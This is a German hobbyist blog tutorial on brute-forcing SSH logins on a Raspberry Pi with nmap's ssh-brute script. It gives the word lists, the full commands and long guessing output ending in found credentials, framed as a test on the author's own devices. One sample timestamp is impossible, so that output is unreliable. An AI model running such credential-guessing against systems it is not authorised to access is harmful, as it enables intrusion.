Der Versuch macht klug und der Erfolg kommt schon mit dem Versuch und nicht erst wenn es klappt. Wer sein eigenes Passwort für den Raspberry Pi (oder auch jeden anderen Rechner) vergessen hat, kann es ja mal mit dem SSH Brute-Force Script von nmap versuchen. Und es ist auch erschreckend, wie schnell und einfach man ein passwortgeschützen Zugang hacken kann. Aber nur an eigenen Rechnern 😉
Wir habe hier mal, wie oben dargestellt zwei Raspberry Pi. Von dem pi oben links, machen wir mit der Brute-Force-Methode einen Scann des pi auf dem ein SSH Port Nr. 22 offen ist.
Dazu benutzen wir nmap. Das können wir installieren mit
sudo apt-get install nmap oder wie hier beschrieben selbst compilieren.
Nun checken wir, ob der SSH-Port Nr. 22 offen ist mit nmap: …
nmap -p 22 –open ADRESSE-VOM-ZIEL-PI
1 2 3 4 5 6 7 |
Z.b. Ergebnis: Starting Nmap 7.70 ( https://nmap.org ) at 2025-05-55 25:66 BST Nmap scan report for pi-zero.fritz.box (x.x.x.x) Host is up (0.12s latency). PORT STATE SERVICE 22/tcp open ssh |
Brute-Force bedeutet ja, das alle Möglichkeiten einfach durchprobiert werden. Dazu legen wir uns eine Datei mit Usern und eine mit möglichen Passwörtern an. Dann wird einfach alles durchprobiert.
Wir erstellen also eine users.txt mit folgenden Usern:
1 2 3 4 5 6 7 |
test user admin root thomas pi kleinhirn |
und eine passwords.txt mit folgenden Passwörtern:
1 2 3 4 5 6 |
123456 root admin pi passwort unsicher |
So nun brauchen wir nur noch alles brute forcen mit diesen beiden Dateien und diesen einen Befehl:
nmap -p 22 –script ssh-brute –script-args userdb=users.txt,passdb=passwords.txt ADRESSE-VOM-ZIEL-PI oder wenn nicht aus dem gleichen Verzeichnis gestartet:
nmap -p 22 –script ssh-brute –script-args userdb=/home/pi/users.txt,passdb=/home/pi/passwords.txt ADRESSE-VOM-ZIEL-PI
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 |
nmap -p 22 --script ssh-brute --script-args userdb=users.txt,passdb=passwords.txt ADRESSE-VOM-ZIEL-PI Ergebnis: Starting Nmap 7.70 ( https://nmap.org ) at 2021-05-22 10:48 BST NSE: [ssh-brute] Trying username/password pair: test:test NSE: [ssh-brute] Trying username/password pair: user:user NSE: [ssh-brute] Trying username/password pair: admin:admin NSE: [ssh-brute] Trying username/password pair: root:root NSE: [ssh-brute] Trying username/password pair: thomas:thomas NSE: [ssh-brute] Trying username/password pair: pi:pi NSE: [ssh-brute] Trying username/password pair: kleinhirn:kleinhirn NSE: [ssh-brute] Trying username/password pair: test:123456 NSE: [ssh-brute] Trying username/password pair: user:123456 NSE: [ssh-brute] Trying username/password pair: admin:123456 NSE: [ssh-brute] Trying username/password pair: root:123456 NSE: [ssh-brute] Trying username/password pair: thomas:123456 NSE: [ssh-brute] Trying username/password pair: pi:123456 NSE: [ssh-brute] Trying username/password pair: kleinhirn:123456 NSE: [ssh-brute] Trying username/password pair: test:root NSE: [ssh-brute] Trying username/password pair: user:root NSE: [ssh-brute] Trying username/password pair: admin:root NSE: [ssh-brute] Trying username/password pair: thomas:root NSE: [ssh-brute] Trying username/password pair: pi:root NSE: [ssh-brute] Trying username/password pair: kleinhirn:root NSE: [ssh-brute] Trying username/password pair: test:admin NSE: [ssh-brute] Trying username/password pair: user:admin NSE: [ssh-brute] Trying username/password pair: root:admin NSE: [ssh-brute] Trying username/password pair: thomas:admin NSE: [ssh-brute] Trying username/password pair: pi:admin NSE: [ssh-brute] Trying username/password pair: kleinhirn:admin NSE: [ssh-brute] Trying username/password pair: test:pi NSE: [ssh-brute] Trying username/password pair: user:pi NSE: [ssh-brute] Trying username/password pair: admin:pi NSE: [ssh-brute] Trying username/password pair: root:pi NSE: [ssh-brute] Trying username/password pair: thomas:pi NSE: [ssh-brute] Trying username/password pair: kleinhirn:pi NSE: [ssh-brute] Trying username/password pair: test:passwort NSE: [ssh-brute] Trying username/password pair: user:passwort NSE: [ssh-brute] Trying username/password pair: admin:passwort NSE: [ssh-brute] Trying username/password pair: root:passwort NSE: [ssh-brute] Trying username/password pair: thomas:passwort NSE: [ssh-brute] Trying username/password pair: pi:passwort NSE: [ssh-brute] Trying username/password pair: kleinhirn:passwort NSE: [ssh-brute] Trying username/password pair: test:unsicher NSE: [ssh-brute] Trying username/password pair: user:unsicher NSE: [ssh-brute] Trying username/password pair: admin:unsicher NSE: [ssh-brute] Trying username/password pair: root:unsicher NSE: [ssh-brute] Trying username/password pair: thomas:unsicher NSE: [ssh-brute] Trying username/password pair: pi:unsicher NSE: [ssh-brute] Trying username/password pair: kleinhirn:unsicher Nmap scan report for pi (x.x.x.x) Host is up (0.10s latency). PORT STATE SERVICE 22/tcp open ssh | ssh-brute: | Accounts: | kleinhirn:unsicher - Valid credentials |_ Statistics: Performed 46 guesses in 55 seconds, average tps: 0.6 Nmap done: 1 IP address (1 host up) scanned in 66.04 seconds |
So das ging ja schnell, nur 66 Sekunden, und das mit einem Pi der nicht wirklich schnell ist und nmap Version 7.70. Und wenn das Passwort nicht als letztes in der Datei stehen würde, währe es ja auch noch viel schneller.
Von einem iMacPro lief es mit der Version 7.91 sogar in 19 Sekunden. Mit der 7.80 Version ist es auf dem iMacPro zu folgendem Fehler gekommen:
1 2 |
Assertion failed: (res > 7), function nsock_library_initialize, file nsock_pool.c, line 307. [1] 58692 abort nmap 10.0.7.25 -p 22 --script ssh-brute --script-args |
Wer das alles über eine Gui ausprobieren will, kann ja Zenmap verwenden, geht aber auch so: